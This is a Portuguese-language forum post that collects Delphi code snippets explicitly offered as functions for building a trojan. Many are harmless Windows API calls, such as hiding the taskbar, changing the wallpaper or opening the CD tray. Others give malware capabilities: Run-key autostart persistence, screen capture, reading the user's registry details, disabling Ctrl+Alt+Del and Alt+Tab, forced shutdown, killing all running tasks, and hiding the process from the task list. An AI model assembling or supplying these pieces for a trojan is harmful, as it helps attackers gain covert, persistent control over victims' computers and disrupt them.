Algumas funções para trojan em Delphi

Iniciado por DarkGenesis, 23 de Março , 2008, 02:38:59 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

DarkGenesis

Algumas funções para trojan em Delphi


Deletando um arquivo:
if FileExists('C:\arquivo.txt') then
DeleteFile('C:\arquivo.txt');


Executando um arquivo externo:
Janela Normal:
WinExec('C:\WINDOWS\Notepad.exe',SW_SHOWNORMAL);
Janela Minimizada:
WinExec('C:\WINDOWS\Notepad.exe',SW_SHOWMINIMIZED)  ;
Janela Maximizada:
WinExec('C:\WINDOWS\Notepad.exe',SW_SHOWMAXIMIZED)  ;


Fechar arquivo:
procedure FileClose(Handle: Integer);
begin
  CloseHandle(THandle(Handle));
end;


Localizar arquivos:
procedure TForm1.Button1Click(Sender: TObject);
begin
with TDDEClientConv.Create(Self) do begin
ConnectMode := ddeManual;
ServiceApplication := 'explorer.exe';
SetLink( 'Folders', 'AppProperties');
OpenLink;
ExecuteMacro('[FindFolder(, C:\Windows)]', False);
CloseLink;
Free;
end;
end;


Obter data, caminho, nome, tamanho... de um arquivo:
Para pegar o Nome:   
FileDirName.Caption:= FileList.Items[FileList.ItemIndex];
Para pegar o Caminho:
FilePathName.Caption:= FileList.Directory;
Para pegar a Data:
ChangeDate.Caption:= DateTimeToStr(FileDateTime(FileList.FileName));
Para pegar os Atributos:
Attributes := FileGetAttr(FileDirName.Caption);
Para pegar o Nome e o Tamanho:
TheFileName: string;
TheFileName := Items[ItemIndex];
FilePanel.Caption := Format('%s, %d bytes', [TheFileName,
GetFileSize(TheFileName)]);


Renomear um arquivo:
function RenameFile(const OldName, NewName: string): Boolean;
begin
  Result := MoveFile(PChar(OldName), PChar(NewName));
end;


Alterando papel de parede:
procedure ChangeWallpaper(bitmap: string);
var
  pBitmap : pchar;
begin
  bitmap:=bitmap+#0; {bitmap contém um arquivo *.bmp}
  pBitmap:=@bitmap[1];
  SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, pBitmap, SPIF_UPDATEINIFILE);
end;


Ativando proteção de tela:
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 0);

Auto-ocultar barra de tarefas do windows:
Ocultar.......
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);

Mostrar.....
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNORMAL);

Voltar como Estava.....
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); 


Auto execução de um programa via registro
Código:
uses registry;                               

var
  reg:TRegIniFile;

procedure TForm1.FormCreate(Sender: TObject);
var
  s,s2:string;
begin
  Reg:=TRegIniFile.Create('Nome');
  {HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\Cu  rrentVersion\Run}
  S:=ExtractFileDir(Application.ExeName);
  S2:=ExtractFileName(Application.ExeName);
  S:=S+'\'+S2;
  reg.RootKey:=HKEY_USERS;
  reg.Openkey ('\.DEFAULT\Software\Microsoft\Windows\CurrentVers  ion',false);
  reg.WriteString('Run', 'Logo', s);
  button1.click;
end;



Capturar tela e salvar em um bitmap:
function CaptureScreenRect( ARect: TRect ): TBitmap;
// Captura a tela e salva-a em um Bitmap
// Use-a assim:
// Image1.picture.Assign(CaptureScreenRect(Rect(0,0,W  idth,Height)));
var
ScreenDC: HDC;
begin
Result := TBitmap.Create;
with Result, ARect do
begin
Width := Right - Left;
Height := Bottom - Top;
ScreenDC := GetDC( 0 );
try
BitBlt( Canvas.Handle, 0, 0, Width, Height, ScreenDC, Left, Top,
SRCCOPY );
finally
ReleaseDC( 0, ScreenDC );
end;
// Palette := GetSystemPalette;
end;
end;


Pegando o Nome do usuário e a Empresa do Windows:
Uses Registry;
Procedure GetUserCompany;
var
reg: TRegIniFile;
begin
reg := TRegIniFile.create('SOFTWARE\MICROSOFT\MS SETUP (ACME)\');
Edit1.Text := reg.ReadString('USER INFO','DefName','');
Edit2.Text := reg.ReadString('USER INFO','DefCompany','');
reg.free;
end;


Definir posição do cursor:
function MouseSetPos(const Pt: TPoint): boolean;
begin
  Result := Windows.SetCursorPos(Pt.X, Pt.Y);
end;


Desativa as teclas (Ctrl+Alt+Del),(Alt+Tab), (Ctrl+Esc):
var
OldValue : LongBool;
begin
{liga a trava}
SystemParametersInfo(97, Word(True), @OldValue, 0);
{desliga a trava}
SystemParametersInfo(97, Word(False), @OldValue, 0);
end;

Desativar uma tecla:
procedure TurnOffKey(Key: integer);
Var
KeyState  :  TKeyboardState;
begin
GetKeyboardState(KeyState);
if (KeyState[Key] = 1) then begin
   KeyState[Key] := 0;
   end;
SetKeyboardState(KeyState);
end;

Desligar windows 98/98/ME:
function ExitWindowsEx(uFlags : integer; // shutdown operation

dwReserved : word) : boolean; // reserved

external 'user32.dll' name 'ExitWindowsEx';

procedure Tchau;

const

  EWX_LOGOFF = 0; // Dá "logoff" no usuário atual

  EWX_SHUTDOWN = 1; // "Shutdown" padrão do sistema

  EWX_REBOOT = 2; // Dá "reboot" no equipamento

  EWX_FORCE = 4; // Força o término dos processos

  EWX_POWEROFF = 8; // Desliga o equipamento

begin

  ExitWindowsEx(EWX_FORCE, 0);

end;


Desligar windows XP:
procedure TfMain.ShutDown;
var
   TokenPriv: TTokenPrivileges;
   H: DWORD;
   HToken: THandle;
begin
   Flag := EWX_POWEROFF;
   (* WIN 2000 e NT *)
   if Win32Platform = VER_PLATFORM_WIN32_NT then
   begin
     OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, HToken);
     LookUpPrivilegeValue(nil, 'SeShutdownPrivilege',
       TokenPriv.Privileges[0].Luid);
     TokenPriv.PrivilegeCount := 1;
     TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
     H := 0;
     AdjustTokenPrivileges(HToken, False, TokenPriv, 0,
PTokenPrivileges(nil)^, H);
     CloseHandle(HToken);
   end;
   ExitWindowsEx(EWX_FORCE or EWX_POWEROFF or EWX_SHUTDOWN, 0);
end;


Ligar e desligar monitor:
procedure LigaMonitor (ligar: boolean);
begin
if ligar then
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1)
else
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end;


Fechar gaveta do CD-ROM:
// Declare  MMSystem  na seção USES.

mciSendString('Set cdaudio door closed wait', nil, 0, handle);


Finalizando todas as tarefas atuais:
var
pTask : PTaskEntry; Task : Bool; ThisTask : THANDLE;
begin
GetMem (pTask, SizeOf (TTaskEntry));
pTask^.dwSize := SizeOf (TTaskEntry);
Task := TaskFirst (pTask);
while Task do begin if pTask^.hInst = hInstance then
ThisTask := pTask^.hTask
else
TerminateApp (pTask^.hTask, NO_UAE_BOX);
Task := TaskNext (pTask);
end;
TerminateApp (ThisTask, NO_UAE_BOX);


Mostrar e esconder ícones:
Para Esconder:

ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);

Para Mostrar:

ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);


Ocultar área de trabalho:
ShowWindow(FindWindow(nil, 'Program Manager'), SW_Hide);

Ocultar/mostrar/minimizar/restaurar menu iniciar:
// SW_HIDE     = Ocultar
// SW_SHOW     = Exibir
// SW_MINIMIZE = Minimizar
// SW_MAXIMIZE = Maximizar
// SW_RESTORE  = Restaurar
begin
barra := FindWindow('Shell_TrayWnd', nil);
buttonhandle := GetWindow(barra, GW_CHILD);
If Visible = True Then
begin
ShowWindow(barra, SW_HIDE);
end;

Esconder programa do CTRL+ALT+DEL:
unit Unit1;

interface
 
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
 
type
  TForm1 = class(TForm)
  procedure FormCreate(Sender: TObject);
  procedure FormDestroy(Sender: TObject);
  private
  { Private declarations }
  public
  { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.DFM}
{Para ocultar um programa, deve-se registrar este como um serviço do Windows. Normalmente um serviço do Windows é ativado quando com a inicialização do sistema (Windows) e pemanece ativo até a finalização deste. Este processo esconde o programa da lista "Ctrl+Alt+Del"}
Const
  Servico_Simples = 1;
  Servico_Unregister = 1;
 
Function RegisterServiceProcess(DwProcessID, dwType: DWord): DWord; StdCall; External 'KERNEL32.dll';
 
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterServiceProcess(GetCurrentProcessID, Servico_Simples);
end;
 
procedure TForm1.FormDestroy(Sender: TObject);
begin
  RegisterServiceProcess(GetCurrentProcessID, Servico_Unregister);
end;
end.

Fonte: chmod

unn4m3D_BR

Reversing is my life!
www.reversing4life.com